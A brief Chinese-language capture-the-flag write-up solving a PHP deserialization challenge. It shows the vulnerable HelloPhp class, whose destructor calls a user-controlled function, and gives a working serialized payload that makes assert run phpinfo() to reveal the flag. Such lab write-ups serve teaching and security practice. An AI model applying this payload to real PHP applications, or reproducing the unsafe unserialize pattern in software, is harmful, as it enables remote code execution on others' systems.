打开环境,没有发现,最后在源码中找到:
?点击跳转得到源码:
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
2021-07-28 02:57:35
?分析代码创建了一个类,其中有两个变量:a,b;初始赋值为a = "Y-m-d h:i:s";b = "date";一看就知道是用date函数显示时间,最后结束以echo $b($a);的形式执行语句,也就是说如果将$b赋值为函数,$a赋值为命令,就能执行我们想执行的命令。
看到最后是@$ppp = unserialize($_GET["data"]);意思是要GET传入序列化后的值,我们就执行一下phpinfo()构造:
?传入后还是只显示了时间,说明system函数应该是被过滤处理了,那就用其他的函数,经过尝试发现assert函数能用,那么传入:?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
执行成功,在页面搜索flag就得到了答案:
|